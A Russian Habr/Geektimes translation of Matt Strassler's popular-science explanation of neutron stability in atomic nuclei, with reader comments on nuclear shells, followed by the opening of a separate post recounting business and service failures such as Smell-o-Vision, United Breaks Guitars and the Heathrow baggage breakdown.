говорит о том, что это не точное значение, но пока нам не нужна большая точность. Значит, энергия массы нейтрона<br/> <br/> 0,939565… ГэВ/c<sup>2</sup><br/> <br/> После распада нейтрона какой будет энергия всей системы? Поскольку энергия сохраняется, а извне энергии не поступало, то энергия системы будет равна тому же самому — 0,939565… ГэВ!<br/> <br/> Но как она распределится?<br/> <br/> Во-первых, у нас не будет энергии взаимодействия. Это не очевидно, но очень важно. Когда протон, электрон и антинейтрино разлетаются, энергия их взаимодействия становится пренебрежимо малой.<br/> <br/> Во-вторых, у каждой из частиц есть энергия массы. Сколько её там?<br/> • Энергия массы протона – 0,938272… ГэВ.<br/> • Энергия массы электрона – 0,000511… ГэВ.<br/> • Энергией массы антинейтрино можно пренебречь, настолько она мала.<br/> <br/> И это хорошо, поскольку масса нейтрино нам пока неизвестно. Мы знаем, что она, по крайней мере, гораздо меньше, чем 0,000001 ГэВ.<br/> <br/> Итоговая масса-энергия получается равной<br/> <br/> (0,938272… + 0,000511… + 0,000000…) ГэВ = 0,938783… ГэВ<br/> <br/> Что меньше энергии массы нейтрона, с которой мы начали, на 0,000782… ГэВ. Пока что мы не видим, как она сохраняется. Энергия массы нейтрона не полностью превратилась в энергию массы протона, электрона и нейтрино. Излишки энергии на рис. 3 показаны жёлтым. <br/> <br/> <a href="https://profmattstrassler.files.wordpress.com/2012/05/nvspenumass.png"><img src="https://habrastorage.org/r/w1560/getpro/geektimes/post_images/228/0ad/59b/2280ad59bb33d001e1711aab30e7cf4e.png" data-src="https://habrastorage.org/getpro/geektimes/post_images/228/0ad/59b/2280ad59bb33d001e1711aab30e7cf4e.png"/></a><br/> <i>Рис. 3</i><br/> <br/> Разницу можно восполнить при помощи энергии движения. Она всегда положительна. Нам нужно только распределить лишние 0,000782… ГэВ между движениями частиц так, чтобы сохранялся импульс системы (поверьте мне, это возможно). Тогда энергия будет сохранена, поскольку энергия массы нейтрона превратилась в энергию массы и энергию движения протона, электрона и нейтрино.<br/> <br/> Я не указал точное количество энергии движения, отошедшее протону, электрону и нейтрино, поскольку в каждом из случаев распада нейтрона энергия будет распределяться по-разному, просто случайным образом (такова квантовая механика). Только общая энергия движения будет всегда одной и той же, 0,000782… ГэВ.<br/> <br/> <h2>Дейтрон стабилен</h2><br/> Вернёмся к дейтрону. Общая энергия дейтрона, как и у атома водорода, состоит из положительной энергии массы двух его составляющих (протона и нейтрона), положительной энергии движения двух составляющих, и отрицательной энергии взаимодействия, с лихвой покрывающей энергию движения. Более того, как и для любой частицы или системы, масса дейтрона будет равной его общей энергии (точнее – общей энергии, которую вы измеряете, когда он не двигается относительно вас), делённой на с<sup>2</sup>, квадрат скорости света. Соответственно, если дейтрон относительно вас покоится, на основе его измеренной массы, равной 1,875612… ГэВ/с<sup>2</sup>, можно сказать, что его энергия равна<br/> <br/> Энергия массы дейтрона = 1,875612… ГэВ = <br/> • Энергия массы протона + энергия массы нейтрона,<br/> • Энергия движения протона + энергия движения нейтрона,<br/> • Энергия взаимодействия (отрицательная, и больше по модулю, чем энергия движения).<br/> <br/> &lt; энергия массы протона + энергия массы нейтрона<br/> <br/> = 0,938272… ГэВ+ 0,939565… ГэВ = 1,877837… ГэВ<br/> <br/> Поэтому энергия связи дейтрона равна<br/> <br/> 1,875612… ГэВ – 1,877837… ГэВ = -0,002225… ГэВ<br/> <br/> <a href="https://profmattstrassler.files.wordpress.com/2012/05/ddecaytonp.png"><img src="https://habrastorage.org/r/w1560/getpro/geektimes/post_images/faf/e93/680/fafe9368076c04fa155cd3516ec6dc5f.png" data-src="https://habrastorage.org/getpro/geektimes/post_images/faf/e93/680/fafe9368076c04fa155cd3516ec6dc5f.png"/></a><br/> <i>Рис. 4</i><br/> <br/> Отрицательная энергия связи означает, как и в случае с атомом водорода, что дейтрон не может просто развалиться на нейтрон и протон, как показано на рис. 4. Это нарушило бы сохранение энергии, утверждающее, что распадающаяся частица должна быть более массивной, чем частицы, на которые она распадается. Как показано на рис. 5, энергию никак не сохранишь. У нейтрона и протона больше энергии массы, чем у дейтрона, и нет никакого источника отрицательной энергии, способного погасить дефицит энергии, поскольку энергии взаимодействия между далеко разнесёнными протоном и нейтроном нет, а энергия движения отрицательной не бывает. Это значит, что процесс на рис. 4 произойти не может.<br/> <br/> <a href="https://profmattstrassler.files.wordpress.com/2012/05/dvsnpmass1.png"><img src="https://habrastorage.org/r/w1560/getpro/geektimes/post_images/432/59d/9ba/43259d9ba3a24710a929eb79f5f89641.png" data-src="https://habrastorage.org/getpro/geektimes/post_images/432/59d/9ba/43259d9ba3a24710a929eb79f5f89641.png"/></a><br/> Рис. 5<br/> <br/> <h2>Нейтрон внутри дейтрона не может распаться</h2><br/> Остался один шаг, и он, по сравнению с предыдущими, довольно простой. Вопрос в следующем: почему нейтрон не может распадаться внутри дейтрона?<br/> <br/> Допустим, он распался: что останется? Тогда у нас будет два протона, электрон и антинейтрино; см. рис. 6. Два протона отталкиваются – у них положительный электрический заряд, и электрическая сила расталкивает их. Сильное ядерное взаимодействие, пытающееся притянуть их вместе, не такое сильное, как у нейтрона с протоном, и суммарное действие двух сил будет отталкивающим. В результате это взаимодействие будет расталкивать протоны. А электрон и антинейтрино тем временем также покинут место действия.<br/> <br/> <a href="https://profmattstrassler.files.wordpress.com/2012/05/ddecaytoppenu.png"><img src="https://habrastorage.org/r/w1560/getpro/geektimes/post_images/ed7/5c5/45e/ed75c545e4abf1e96e7865c80c39a6af.png" data-src="https://habrastorage.org/getpro/geektimes/post_images/ed7/5c5/45e/ed75c545e4abf1e96e7865c80c39a6af.png"/></a><br/> <i>Рис. 6</i><br/> <br/> Когда все четыре частицы будут далеко друг от друга (как грубо показано на рис. 6, но представьте, что они разлетелись ещё дальше), не будет никакой значительной энергии взаимодействия между ними. Энергия системы будет состоять только из суммы энергий масс частиц и энергий движения. Поскольку энергия движения всегда положительна, минимальная энергия, которую смогут иметь частицы, будет равной сумме их энергий масс. Но эта энергия больше, чем энергия массы дейтрона (рис. 7)! Даже энергия массы двух протонов, 1,876544… ГэВ уже больше энергии массы дейтрона. А дополнительные 0,000511 ГэВ только сыплют соль на рану.<br/> <br/> Поэтому нейтрон внутри дейтрона не может распасться; энергия взаимодействия, удерживающая дейтрон, тянет его массу вниз – достаточно низко для того, чтобы распад нейтрона внутри дейтрона нарушал сохранение энергии!<br/> <br/> <a href="https://profmattstrassler.files.wordpress.com/2012/05/dvsppenumass1.png"><img src="https://habrastorage.org/r/w1560/getpro/geektimes/post_images/d2a/965/44d/d2a96544d9948ee3d6accf06cdfc5c91.png" data-src="https://habrastorage.org/getpro/geektimes/post_images/d2a/965/44d/d2a96544d9948ee3d6accf06cdfc5c91.png"/></a><br/> <i>Рис. 7</i><br/> <br/> <h2>Другие атомные ядра</h2><br/> И так происходит со всеми стабильными ядрами в природе. Но не надо думать, что всегда, когда вы комбинируете нейтроны и протоны, в результате получается стабильное ядро! Стабильные ядра крайне редки.<br/> <br/> Если вы возьмёте Z протонов и N нейтронов и попробуете сделать из них ядро, то для большей части вариантов Z и N у вас ничего не получится. Большинство таких ядер мгновенно распадутся, они вообще не сформируются. Грубо говоря, сила притяжения между Z протонами и N нейтронами сильнее всего тогда, когда Z примерно равно N. С другой стороны, протоны отталкиваются друг от друга из-за электромагнитного взаимодействия. Эта сила увеличивается при увеличении Z. Соревнование двух этих эффектов предполагает, что ядро скорее всего будет стабильным, когда Z немного меньше N; и чем больше Z и N, тем больше должна быть разница между Z и N. Это видно на рис. 8. Стабильны только ядра, отмеченные чёрным; они располагаются в том, что поэтически называют «долиной стабильности».<br/> <br/> А что за ядра, обозначенные цветом? Оказывается, что существует довольно много ядер, которые всё-таки распадаются, но могут жить довольно долго. Часто мы зовём такие объекты «нестабильными», а те, что живут достаточно долго – «метастабильными». Использование слов зависит от контекста. Нейтрон живёт 15 минут. Есть ядра, живущие несколько миллисекунд, дней, десятилетий, тысячелетий и даже миллиардов лет. Эти ядра мы называем радиоактивными; это опасные последствия случаев с участием радиации или оружия, и инструменты, используемые в детекторах дыма и для борьбы с раком, в числе прочего.<br/> <br/> Есть куча способов, которыми эти ядра могут распасться, но некоторые из них распадаются, превращая нейтрон в протон внутри ядра. Мы знаем об этом по увеличению заряда ядра и по тому, что из него вылетает электрон вместе с антинейтрино. Другие даже могут распадаться, превращая протон в нейтрон! Мы знаем об этом, потому что заряд ядра уменьшается, и из него вылетает позитрон (антиэлектрон). Подсчётами того, сколько сможет прожить определённое ядро и как оно распадётся, занимается очень сложная ядерная физика – здесь курс по ней я давать не буду (да я и не эксперт).<br/> <br/> <a href="https://profmattstrassler.files.wordpress.com/2012/05/valleynuclearstability.png"><img src="https://habrastorage.org/r/w1560/getpro/geektimes/post_images/c46/9e7/a7b/c469e7a7b72a0554c251f422195b7682.png" data-src="https://habrastorage.org/getpro/geektimes/post_images/c46/9e7/a7b/c469e7a7b72a0554c251f422195b7682.png"/></a><br/> <i>Рис. 8</i><br/> <br/> Достаточно сказать, что отрицательная энергия взаимодействия частиц, скомбинированная с сохранением энергии, может менять всю игру, делая невозможными определённые процессы, возможные в обычных условиях – и наоборот.</div>
Вячеслав Голованов (SLY_G)
Matt Strassler
https://profmattstrassler.com/articles-and-posts/particle-physics-basics/mass-energy-matter-etc/the-energy-that-holds-things-together/neutron-stability-in-atomic-nuclei/
Факт, ставящий в тупик многих из тех, кто впервые изучает природу обычной материи – то, что в ядре любого атома тяжелее водорода содержатся как протоны, так и нейтроны, но при этом нейтроны распадаются (дезинтегрируются в другие частицы) в среднем за 15 минут! Как же могут ядра углерода, кислорода, азота, кремния быть настолько стабильными, если нейтроны, из которых они состоят, не могут выживать сами по себе?<br> <br> Ответ на этот вопрос оказывается очень простым после того, как вы поймёте, как работает энергия: это чистая бухгалтерия. Но понять энергию вовсе не просто. Для начала нужно прочесть <a href="https://geektimes.ru/post/290619/">статью о видах энергии</a>. А до этого необходимо ознакомиться со <a href="https://geektimes.ru/post/289863/">статьёй об энергии, импульсе и массе</a>. Эти концепции нужно представлять перед тем, как понять ответ на заданный вопрос.<br> <br> Если вы прочли статью об энергии взаимодействия, вы знаете, что атом водорода состоит из протона и электрона, которые, из-за отрицательной энергии связи, неспособны убежать друг от друга – они заперты внутри атома. Отрицательная энергия связи происходит из отрицательной энергии взаимодействия, частично сбалансированной положительной энергией движения электрона (и немного – протона). Энергия взаимодействия происходит из воздействия электрона на электрическое поле близ протона (и наоборот).<br>
Факт, ставящий в тупик многих из тех, кто впервые изучает природу обычной материи – то, что в ядре любого атома тяжелее водорода содержатся как протоны, так и нейтроны, но при этом нейтроны распадаются (дезинтегрируются в другие частицы) в среднем за 15 минут! Как же могут ядра углерода, кислорода, азота, кремния быть настолько стабильными, если нейтроны, из которых они состоят, не могут выживать сами по себе? Ответ на этот вопрос оказывается очень простым после того, как вы поймёте, как работает энергия: это чистая бухгалтерия. Но понять энергию вовсе не просто. Для начала нужно прочесть статью о видах энергии. А до этого необходимо ознакомиться со статьёй об энергии, импульсе и массе. Эти концепции нужно представлять перед тем, как понять ответ на заданный вопрос. Если вы прочли статью об энергии взаимодействия, вы знаете, что атом водорода состоит из протона и электрона, которые, из-за отрицательной энергии связи, неспособны убежать друг от друга – они заперты внутри атома. Отрицательная энергия связи происходит из отрицательной энергии взаимодействия, частично сбалансированной положительной энергией движения электрона (и немного – протона). Энергия взаимодействия происходит из воздействия электрона на электрическое поле близ протона (и наоборот).
article
1,499,770,967
{ "commentsCount": 10, "favoritesCount": 48, "readingCount": 19764, "score": 12, "votesCount": 18, "votesCountPlus": 15, "votesCountMinus": 3 }
[ "translation" ]
[ "popular_science", "physics" ]
[ "popsci" ]
[ "нейтрон", "атомные ядра", "распад частиц", "Matt Strassler" ]
7
null
null
{ "id": [ 18278259, 18278261, 18278263, 18278265, 18278267, 18278269, 18278271, 18278273, 18278275, 18278277 ], "parent_id": [ null, null, 18278261, 18278263, 18278265, 18278267, 18278269, null, 18278267, 18278275 ], "level": [ 0, 0, 1, 2, 3, 4, 5, 0, 4, 5 ], "time_published": [ 1499784934, 1499788515, 1499790199, 1499798232, 1499814889, 1499879390, 1499883776, 1499947381, 1500041936, 1500075481 ], "score": [ 0, 2, 0, 0, 1, -2, 3, -3, -1, 3 ], "votes": [ 2, 2, 0, 0, 1, 2, 3, 3, 1, 3 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">«из-за отрицательной энергии связи, неспособны убежать друг от друга....» <br/>\r\nВы это называете физическим смыслом и объяснением? <br/>\r\n<br/>\r\nотрицательная масса, температура, энергия… Вам не кажется что «отрицательность» — это нечто условное в мат-уравнениях и в шкале, но никак не в природе/реальности? <br/>\r\n<br/>\r\nТо есть протон и нейтрон имеют отрицательную энергию связи. Они об этом знают и потому не разбегаются? :) Или может быть какие то физические процессы им не позволяют? Типа: давление атмосферное поднимает столб воды. <br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Много слов вокруг-да-около. Хотя всё можно объяснить гораздо проще.</p><br/>\r\n<p>Рассмотрим атом кислорода: 8 протонов + 8 нейтронов + 8 электронов. Что будет, если один нейтрон распадётся? Очевидно, получим атом хлора: 9 протонов + 7 нейтронов + 9 электронов (ну и антинейтрино). Считаем энергию в обоих случаях — и видим, что энергия указанного изотопа хлора существенно больше.<br/>\r\nО чём ещё рассуждать?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А почему больше? Как так получается? А точно атом получится? А может протон улетит и хлора не будет?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ну, Вы можете предложить другой вариант — например \"кислород-15 + водород-1 + антинейтрино\" (после дефиса — масса). Если в этом варианте энергия будет ниже, чем у \"кислород-16\", то распад возможен.</p><br/>\r\n<p>Вот только для верхней части таблицы Менделеева (кроме водорода и ещё нескольких веществ) стабильным изотопом (т.е. с наименьшей энергией) является тот, у которого число протонов равно числу нейтронов. А распад нейтрона выбивает систему с этой \"линии наименьшей энергии\".</p><br/>\r\n<p>А вот как наименьшая энергия получается при равенстве числа протонов и числа нейтронов — я не знаю. Наверно, надо решать уравнение Шрёдингера; по кр.мере, для электронов оно даёт нужные решения, соответствующие реальности. Но разница в том, что для ядерных частиц должны действовать не только электромагнитные силы, но и сильное взаимодействие — а тут я даже не копался.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>А вот как наименьшая энергия получается при равенстве числа протонов и числа нейтронов — я не знаю.</blockquote>Это как раз элементарно. Частица «нуклон» является фермионом и имеет два состояния — протон и нейтрон, аналогично атому, в котором электроны могут иметь спин вверх и вниз. Согласно принципу запрета Паули фермионы не могут находится в одинаковых состояниях, поэтому в ядре кислорода заняты 8 протонных и 8 нейтронных уровней. С точки зрения сильного ядерного взаимодействия, протон и нейтрон эквивалентны, а электромагнитным, в случае кислорода, можно пренебречь, поэтому энергии протонных и нейтронных уровней близки. Если мы теперь перенесем нуклон из 8-го протонного в 9-й нейтронный, то энергия увеличится, ибо 9 > 8. Соответственно, получившийся азот-16 нестабилен и распадается обратно в кислород-16.<br/>\r\n<br/>\r\nКонечно, это объяснение не будет работать, если 8-й и 9-й уровни не сильно отличаются. Однако, как и в химии, в ядерной физике есть понятие полностью заполненной оболочки, после заполнения которой уровни энергии испытывают резкий скачок. Количества нуклонов в полностью заполненной оболочке в ядерной физике называют магическими числами и они отмечены на рис. 8 в статье — 2, 8, 20, 28, 50, 82, 126. Соответственно, дисбаланс протонов и нейтронов может быть энергетически выгодным, если позволяет заполнить хотя бы одну из двух оболочек. Однако, в случае дважды магического кислорода-16, и протонная и нейтронная оболочка полностью заполнены, поэтому он является особенно стабильным.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Из Ваших слов вытекает, что самым стабильным изотопом азота д.б. азот-15 (7 протонов + 8 нейтронов). Однако, iRL мы имеем 99,635% азота-14 (7 протонов + 7 нейтронов) и всего 0,365% азота-15.</p><br/>\r\n<p>А почему не существуют азот-9, азот-27, кислород-10 и кислород-28?<br/>\r\nЗато откуда-то берутся микроколичества кислорода-17 и кислорода-18, где число нейтронов ни фига не магическое.</p><br/>\r\n<p>Также непонятно, что как получаются магические числа. Понятно, что это два (возможные состояния спина), умноженные на ряд {1,2,5,14,25,41,63}. Откуда берутся эти числа?</p><br/>\r\n<p>А на рисунке 8 я вижу горизонтальные куски, не соответствующие магическим числам. И они не меньше магических горизонтальных кусков.<br/>\r\nИ кусочек стабильных изотопов в районе Z=90,N=145 — тоже ни разу не магическое место.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Однако, iRL мы имеем 99,635% азота-14 (7 протонов + 7 нейтронов) и всего 0,365% азота-15.</blockquote>Распространенность изотопа в природе, вообще, слабо связана со «степенью стабильности». Конкретно в случае с азотом она определяется деталями CNO-цикла, а точнее тем, что N-15 гораздо охотнее захватывает протон, чем N-14.<br/>\r\n<br/>\r\n<blockquote>А почему не существуют азот-9, азот-27, кислород-10 и кислород-28?</blockquote>Ну так правило о равенстве протонов и нейтронов никуда не делось, заполненные оболочки могут только немного корректировать его в ту или иную сторону.<br/>\r\n<br/>\r\n<blockquote>Откуда берутся эти числа?</blockquote>Далеко не все в природе можно на пальцах объяснить. Уравнения сильного взаимодействия на порядок сложнее электромагнитного, но даже в химии очень малое число задач поддается достаточно точному решению, про ядерную физику и говорить нечего. Так что остаются экспериментальные измерения и феноменологические модели.<br/>\r\n<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Короче, нейтрон это уплотненный атом дейтрона + антинейтрино электронное. <br/>\r\n<br/>\r\nИМХО вообще считаю что все элементарные частицы есть проявление (типа стоячей волны) колебания материи или пространства, или эфира или чего-го там ещё, то из чего соткан мир и вообщем мы существуем дискретно, ощущая себя только в наивысшей точке амплитуды колебания и не можем уловить фазу изменения.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Но ведь нуклон — барион, а не фермион.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Нуклон — это фермион (а не бозон) и барион (но не лептон/мезон)</p><br/>\r\n<p><a href=\"http://electron6.phys.utk.edu/phys250/modules/module%206/particle_classification.htm\">http://electron6.phys.utk.edu/phys250/modules/module%206/particle_classification.htm</a></p><br/>\r\n<blockquote>The fundamental particles may be classified into groups in several ways. First, all particles are classified into fermions, which obey Fermi-Dirac statistics and bosons, which obey Bose-Einstein statistics. Fermions have half-integer spin, while bosons have integer spin. All the fundamental fermions have spin 1/2. Electrons and <u>nucleons are fermions </u>with spin 1/2. The fundamental bosons have mostly spin 1.…<br/>\r\n<br/>\r\nThe electron and the neutrino are members of a family of leptons. Originally leptons meant \"light particles\", as opposed to baryons, or heavy particles, which referred initially to the proton and neutron. The pion, or pi-meson, and another particle called the muon or mu-meson, were called mesons, or medium-weight particles, because their masses…<br/>\r\n<br/>\r\nBaryons are made up of 3 quarks, and mesons are made up of a quark and an anti-quark. <u>Baryons are fermions </u>and mesons are bosons. </blockquote></div>" ], "message_markdown": [ "«из-за отрицательной энергии связи, неспособны убежать друг от друга....»\nВы это называете физическим смыслом и объяснением?\nотрицательная масса, температура, энергия... Вам не кажется что «отрицательность» — это нечто условное в мат-уравнениях и в шкале, но никак не в природе/реальности?\nТо есть протон и нейтрон имеют отрицательную энергию связи. Они об этом знают и потому не разбегаются? :) Или может быть какие то физические процессы им не позволяют? Типа: давление атмосферное поднимает столб воды.", "Много слов вокруг-да-около. Хотя всё можно объяснить гораздо проще.\nРассмотрим атом кислорода: 8 протонов + 8 нейтронов + 8 электронов. Что будет, если один нейтрон распадётся? Очевидно, получим атом хлора: 9 протонов + 7 нейтронов + 9 электронов (ну и антинейтрино). Считаем энергию в обоих случаях — и видим, что энергия указанного изотопа хлора существенно больше.\nО чём ещё рассуждать?", "А почему больше? Как так получается? А точно атом получится? А может протон улетит и хлора не будет?", "Ну, Вы можете предложить другой вариант — например \"кислород-15 + водород-1 + антинейтрино\" (после дефиса — масса). Если в этом варианте энергия будет ниже, чем у \"кислород-16\", то распад возможен.\nВот только для верхней части таблицы Менделеева (кроме водорода и ещё нескольких веществ) стабильным изотопом (т.е. с наименьшей энергией) является тот, у которого число протонов равно числу нейтронов. А распад нейтрона выбивает систему с этой \"линии наименьшей энергии\".\nА вот как наименьшая энергия получается при равенстве числа протонов и числа нейтронов — я не знаю. Наверно, надо решать уравнение Шрёдингера; по кр.мере, для электронов оно даёт нужные решения, соответствующие реальности. Но разница в том, что для ядерных частиц должны действовать не только электромагнитные силы, но и сильное взаимодействие — а тут я даже не копался.", "> А вот как наименьшая энергия получается при равенстве числа протонов и числа нейтронов — я не знаю.\nЭто как раз элементарно. Частица «нуклон» является фермионом и имеет два состояния — протон и нейтрон, аналогично атому, в котором электроны могут иметь спин вверх и вниз. Согласно принципу запрета Паули фермионы не могут находится в одинаковых состояниях, поэтому в ядре кислорода заняты 8 протонных и 8 нейтронных уровней. С точки зрения сильного ядерного взаимодействия, протон и нейтрон эквивалентны, а электромагнитным, в случае кислорода, можно пренебречь, поэтому энергии протонных и нейтронных уровней близки. Если мы теперь перенесем нуклон из 8-го протонного в 9-й нейтронный, то энергия увеличится, ибо 9 > 8. Соответственно, получившийся азот-16 нестабилен и распадается обратно в кислород-16.\nКонечно, это объяснение не будет работать, если 8-й и 9-й уровни не сильно отличаются. Однако, как и в химии, в ядерной физике есть понятие полностью заполненной оболочки, после заполнения которой уровни энергии испытывают резкий скачок. Количества нуклонов в полностью заполненной оболочке в ядерной физике называют магическими числами и они отмечены на рис. 8 в статье — 2, 8, 20, 28, 50, 82, 126. Соответственно, дисбаланс протонов и нейтронов может быть энергетически выгодным, если позволяет заполнить хотя бы одну из двух оболочек. Однако, в случае дважды магического кислорода-16, и протонная и нейтронная оболочка полностью заполнены, поэтому он является особенно стабильным.", "Из Ваших слов вытекает, что самым стабильным изотопом азота д.б. азот-15 (7 протонов + 8 нейтронов). Однако, iRL мы имеем 99,635% азота-14 (7 протонов + 7 нейтронов) и всего 0,365% азота-15.\nА почему не существуют азот-9, азот-27, кислород-10 и кислород-28?\nЗато откуда-то берутся микроколичества кислорода-17 и кислорода-18, где число нейтронов ни фига не магическое.\nТакже непонятно, что как получаются магические числа. Понятно, что это два (возможные состояния спина), умноженные на ряд {1,2,5,14,25,41,63}. Откуда берутся эти числа?\nА на рисунке 8 я вижу горизонтальные куски, не соответствующие магическим числам. И они не меньше магических горизонтальных кусков.\nИ кусочек стабильных изотопов в районе Z=90,N=145 — тоже ни разу не магическое место.", "> Однако, iRL мы имеем 99,635% азота-14 (7 протонов + 7 нейтронов) и всего 0,365% азота-15.\nРаспространенность изотопа в природе, вообще, слабо связана со «степенью стабильности». Конкретно в случае с азотом она определяется деталями CNO-цикла, а точнее тем, что N-15 гораздо охотнее захватывает протон, чем N-14.\n> А почему не существуют азот-9, азот-27, кислород-10 и кислород-28?\nНу так правило о равенстве протонов и нейтронов никуда не делось, заполненные оболочки могут только немного корректировать его в ту или иную сторону.\n> Откуда берутся эти числа?\nДалеко не все в природе можно на пальцах объяснить. Уравнения сильного взаимодействия на порядок сложнее электромагнитного, но даже в химии очень малое число задач поддается достаточно точному решению, про ядерную физику и говорить нечего. Так что остаются экспериментальные измерения и феноменологические модели.", "Короче, нейтрон это уплотненный атом дейтрона + антинейтрино электронное.\nИМХО вообще считаю что все элементарные частицы есть проявление (типа стоячей волны) колебания материи или пространства, или эфира или чего-го там ещё, то из чего соткан мир и вообщем мы существуем дискретно, ощущая себя только в наивысшей точке амплитуды колебания и не можем уловить фазу изменения.", "Но ведь нуклон — барион, а не фермион.", "Нуклон — это фермион (а не бозон) и барион (но не лептон/мезон)\nhttp://electron6.phys.utk.edu/phys250/modules/module%206/particle_classification.htm\n> The fundamental particles may be classified into groups in several ways. First, all particles are classified into fermions, which obey Fermi-Dirac statistics and bosons, which obey Bose-Einstein statistics. Fermions have half-integer spin, while bosons have integer spin. All the fundamental fermions have spin 1/2. Electrons and nucleons are fermions with spin 1/2. The fundamental bosons have mostly spin 1....\n>\n> The electron and the neutrino are members of a family of leptons. Originally leptons meant \"light particles\", as opposed to baryons, or heavy particles, which referred initially to the proton and neutron. The pion, or pi-meson, and another particle called the muon or mu-meson, were called mesons, or medium-weight particles, because their masses...\n>\n> Baryons are made up of 3 quarks, and mesons are made up of a quark and an anti-quark. Baryons are fermions and mesons are bosons." ], "author": [ "Ruslan Zasukhin (ruslan_zasukhin)", "Karpion", "x67", "Karpion", "Вабищевич Николай (DrSmile)", "Karpion", "Вабищевич Николай (DrSmile)", "KamAdm", "Adonai", "a5b (a5b)" ], "children": [ [], [ 18278263 ], [ 18278265 ], [ 18278267 ], [ 18278269, 18278275 ], [ 18278271 ], [], [], [ 18278277 ], [] ] }
654,321
ru
https://habr.com/ru/post/654321/
Пять историй провалов в сервисе: от аромакино до неуправляемого чат-бота
Завалить важный проект из-за Agile, уронить огромную CRM и потерять всю БД маркетплейса — такой страшный сон может случиться и в реальности. Мы устали от «успешного успеха» и уже каялись об этом на F*ckup Meetup. Мы не одиноки, курьезные провалы допускают буквально все. О пяти самых интересных мы рассказали здесь. ## Аромафильмы и пахучие кинозалы Первая идея о запахах в кино принадлежит швейцарскому инженеру Гансу Лаубе. Он показал своё изобретение Scentovision в 1939 году на Всемирной выставке в Нью-Йорке. Оно распыляло запахи в нескольких сантиметрах от носа человека через сеть специальных трубок в креслах кинотеатра. Идея не сработала: владельцы кинотеатров отказывались использовать Scentovision, и о нем забыли на 20 лет. В 1950-х бродвейский продюсер Майк Тодд — старший и его сын Майк-младший посетили показ рекламного ролика с запахами Mein Traum. Его выпустил Лаубе для демонстрации возможностей Sventovision. После ролика они предложили Гансу сотрудничество. Установку решили назвать Smell-o-Vision и для неё снять не просто рекламу, а полнометражный фильм «Запах тайны». Брошюра «Запаха тайны» показывает 30 ароматов фильма в порядке их появления. Источник: Cabinet Smell-o-Vision работала так: пробирки с пахучими веществами загружались во вращающийся барабан. Автомат по таймеру распылял запах из пробирок в зал. Как только одна пробирка заканчивалась, автомат распылял следующую в очереди. Для работы установки кинозал оборудовали 1100 креслами с 3 километрами ароматрубок. Это обошлось продюсерам и Гансу в 30 000 долларов, или 250 000 долларов с поправкой на инфляцию. Майк Тодд — младший наблюдает за тем, как Ганс Лаубе заправляет пробирки с ароматами для мировой премьеры. Источник: Сabinet В фильме «Запах тайны» ключевые моменты сюжета подчеркнуты ароматами. Например, когда убийца курил трубку, зал наполнялся запахом табака. Когда на экране появлялась главная героиня, в зал попадал аромат духов. Фильм провалился: машина шумела и перекрывала звуки фильма, зрители на балконе ощущали запах с запозданием. К середине запахи смешивались до состояния дикой вони, и не спасало даже проветривание. В итоге фильм начали показывать без ароматического сопровождения под названием «Каникулы в Испании». Позже Smell-O-Vision попал в топ-50 худших изобретений в истории по версии Times. ## Сломанная гитара за 180 млн долларов В 2009 году американские медиа бомбили одной темой: United Airlines сломала гитару малоизвестному музыканту Дэйву Кэрроллу и отказалась компенсировать ущерб. Дэйв летел через Чикаго в Омаху, чтобы отыграть концерт со своей группой. В Чикаго один из пассажиров увидел в окне грузчиков багажа и закричал: «Боже мой, они бросают гитары!» Грузчики сломали гитару Кэрролла за 3500 долларов. Ремонт обошелся в 1200 долларов, и Дэйв выставил счет авиакомпании. United Airlines сказала, что сломанная гитара не их вина. Почти год Дэйв пытался получить деньги от компании. Устав от безразличного отношения авиаперевозчика, музыкант написал песню под названием United Breaks Guitars и выложил ее на YouTube. Песня стала вирусной, ее прослушали более 5 млн раз за месяц. Сейчас у нее 21 млн просмотров и более 21 тысячи комментариев. То самое видео о сломанной гитаре Дэйва. После публикации акции United Airlines упали на 10% за четыре дня. Компания потеряла $180 млн Дэйв стал героем. Он дал интервью на Today, CNN и в шоу Джимми Киммела. Такое внимание помогло ему подписать рекламный контракт с компанией по производству футляров для гитар. В итоге United Airlines предложили компенсацию ремонта гитары и ваучеры на сумму 1200 долларов, но Дэйв отказался. ## 23 тысячи потерянных чемоданов в аэропорте Хитроу В 2008 году в лондонском аэропорту Хитроу открылся новый терминал. В нем появилась новая система регистрации и сортировки багажа. Пассажиры должны были регистрироваться на рейс за несколько секунд. Нововведения были настолько важными, что открывать терминал приехала королева Елизавета. Но всё пошло не по плану. Первый рейс из нового терминала в Париж прибыл без багажа. Проблемы наблюдались и на других рейсах. За первые пять дней авиакомпания British Airlines потеряла 23 тысячи чемоданов и отменила 500 рейсов. В конце концов авиакомпания приостановила проверку багажа, вынудив пассажиров оставить свои сумки, найти другой рейс или вообще отменить полет. А ещё тысячи чемоданов пришлось сортировать вручную, прежде чем их вернули владельцам. На это ушло несколько месяцев. В марте 2008 года десятки рейсов из пятого терминала британского аэропорта Хитроу вылетали без багажа. Источник: Wikiwand Выяснилось, что причиной сбоя стали IT-ошибки: Погрузочный персонал не мог войти в систему сверки багажа. По сути, не поступала информация о передаче багажа в British Airways от других авиакомпаний. Неопознанные чемоданы автоматически отправлялись на сортировку в хранилище терминала. Поэтому специалистам пришлось сверять сумки вручную, что привело к задержке рейсов. Проблемы с wi-fi на некоторых стойках регистрации мешали сотрудникам вводить информацию о чемоданах в систему с помощью смартфонов. Терминал починили только через два месяца, но спустя пять лет багажная система снова забуксовала. Тысячи людей не могли зарегистрировать багаж из-за технической ошибки в системе регистрации. Путешественники пропустили свои рейсы, поскольку самолеты вылетали вовремя. Но на этот раз проблему решили за 2,5 часа. ## Как Netflix потерял 1 млн пользователей В 2005 году сервис запустил подписку на рассылку DVD-дисков по почте: вместо того чтобы идти в пункт проката, можно было получить фильм за пару дней. А в 2007 году Netflix начал развивать стриминг. Чтобы повысить привлекательность стриминга, в 2011 году глава компании объединил прокат прокат DVD и стриминг в одну подписку Qwikster. Она подорожала с 10 до 16 долларов, и 